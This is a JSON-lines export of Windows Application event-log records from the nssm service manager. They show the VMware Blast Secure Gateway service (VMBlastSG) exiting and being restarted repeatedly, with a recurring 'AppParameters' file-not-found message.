{"@timestamp":1646672192073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156718}}
{"@timestamp":1646672192074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156719}}
{"@timestamp":1646672320576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156720}}
{"@timestamp":1646672320577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156721}}
{"@timestamp":1646672320577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154548","0"]}}},"module":"Application","provider":"nssm","sequence":156722}}
{"@timestamp":1646672320578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154548","154548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156723}}
{"@timestamp":1646672320598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156724}}
{"@timestamp":1646672320599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156725}}
{"@timestamp":1646672320599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156726}}
{"@timestamp":1646672320600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156727}}
{"@timestamp":1646672449424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156728}}
{"@timestamp":1646672449424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156729}}
{"@timestamp":1646672449428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152832","0"]}}},"module":"Application","provider":"nssm","sequence":156730}}
{"@timestamp":1646672449429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152832","152832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156731}}
{"@timestamp":1646672449447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156732}}
{"@timestamp":1646672449448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156733}}
{"@timestamp":1646672449449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156734}}
{"@timestamp":1646672449449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156735}}
{"@timestamp":1646672577941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156736}}
{"@timestamp":1646672577942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156737}}
{"@timestamp":1646672577942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152536","0"]}}},"module":"Application","provider":"nssm","sequence":156738}}
{"@timestamp":1646672577943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152536","152536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156739}}
{"@timestamp":1646672577961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156740}}
{"@timestamp":1646672577961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156741}}
{"@timestamp":1646672577962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156742}}
{"@timestamp":1646672577963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156743}}
{"@timestamp":1646672706477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156744}}
{"@timestamp":1646672706477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156745}}
{"@timestamp":1646672706478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153948","0"]}}},"module":"Application","provider":"nssm","sequence":156746}}
{"@timestamp":1646672706478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153948","153948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156747}}
{"@timestamp":1646672706496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156748}}
{"@timestamp":1646672706497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156749}}
{"@timestamp":1646672706497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156750}}
{"@timestamp":1646672706498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156751}}
{"@timestamp":1646672834985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156752}}
{"@timestamp":1646672834985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156753}}
{"@timestamp":1646672834986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153752","0"]}}},"module":"Application","provider":"nssm","sequence":156754}}
{"@timestamp":1646672834986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153752","153752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156755}}
{"@timestamp":1646672835003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156756}}
{"@timestamp":1646672835003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156757}}
{"@timestamp":1646672835004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156758}}
{"@timestamp":1646672835005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156759}}
{"@timestamp":1646672963511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156760}}
{"@timestamp":1646672963511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156761}}
{"@timestamp":1646672963512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153168","0"]}}},"module":"Application","provider":"nssm","sequence":156762}}
{"@timestamp":1646672963512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153168","153168","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156763}}
{"@timestamp":1646672963530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156764}}
{"@timestamp":1646672963530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156765}}
{"@timestamp":1646672963531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156766}}
{"@timestamp":1646672963531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156767}}
{"@timestamp":1646673092013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156768}}
{"@timestamp":1646673092013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156769}}
{"@timestamp":1646673092014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154024","0"]}}},"module":"Application","provider":"nssm","sequence":156770}}
{"@timestamp":1646673092014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154024","154024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156771}}
{"@timestamp":1646673092029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156772}}
{"@timestamp":1646673092030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156773}}
{"@timestamp":1646673092030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156774}}
{"@timestamp":1646673092031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156775}}
{"@timestamp":1646673220574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156776}}
{"@timestamp":1646673220575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156777}}
{"@timestamp":1646673220575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153476","0"]}}},"module":"Application","provider":"nssm","sequence":156778}}
{"@timestamp":1646673220576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153476","153476","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156779}}
{"@timestamp":1646673220594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156780}}
{"@timestamp":1646673220595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156781}}
{"@timestamp":1646673220595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156782}}
{"@timestamp":1646673220596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156783}}
{"@timestamp":1646673349326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156784}}
{"@timestamp":1646673349326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156785}}
{"@timestamp":1646673349327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153120","0"]}}},"module":"Application","provider":"nssm","sequence":156786}}
{"@timestamp":1646673349327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153120","153120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156787}}
{"@timestamp":1646673349343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156788}}
{"@timestamp":1646673349344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156789}}
{"@timestamp":1646673349344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156790}}
{"@timestamp":1646673349345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156791}}
{"@timestamp":1646673477833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156792}}
{"@timestamp":1646673477833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156793}}
{"@timestamp":1646673477834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151636","0"]}}},"module":"Application","provider":"nssm","sequence":156794}}
{"@timestamp":1646673477834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151636","151636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156795}}
{"@timestamp":1646673477851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156796}}
{"@timestamp":1646673477851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156797}}
{"@timestamp":1646673477852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156798}}
{"@timestamp":1646673477853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156799}}
{"@timestamp":1646673606346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156800}}
{"@timestamp":1646673606347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156801}}
{"@timestamp":1646673606348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153668","0"]}}},"module":"Application","provider":"nssm","sequence":156802}}
{"@timestamp":1646673606348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153668","153668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156803}}
{"@timestamp":1646673606364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156804}}
{"@timestamp":1646673606365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156805}}
{"@timestamp":1646673606366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156806}}
{"@timestamp":1646673606366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156807}}
{"@timestamp":1646673735041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156808}}
{"@timestamp":1646673735041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156809}}
{"@timestamp":1646673735042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153924","0"]}}},"module":"Application","provider":"nssm","sequence":156810}}
{"@timestamp":1646673735042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153924","153924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156811}}
{"@timestamp":1646673735057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156812}}
{"@timestamp":1646673735058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156813}}
{"@timestamp":1646673735059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156814}}
{"@timestamp":1646673735059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156815}}
{"@timestamp":1646673863673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156816}}
{"@timestamp":1646673863673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156817}}
{"@timestamp":1646673863674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153616","0"]}}},"module":"Application","provider":"nssm","sequence":156818}}
{"@timestamp":1646673863674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153616","153616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156819}}
{"@timestamp":1646673863690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153696","0"]}}},"module":"Application","provider":"nssm","sequence":156820}}
{"@timestamp":1646673863691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153696","153616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156821}}
{"@timestamp":1646673863892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156822}}
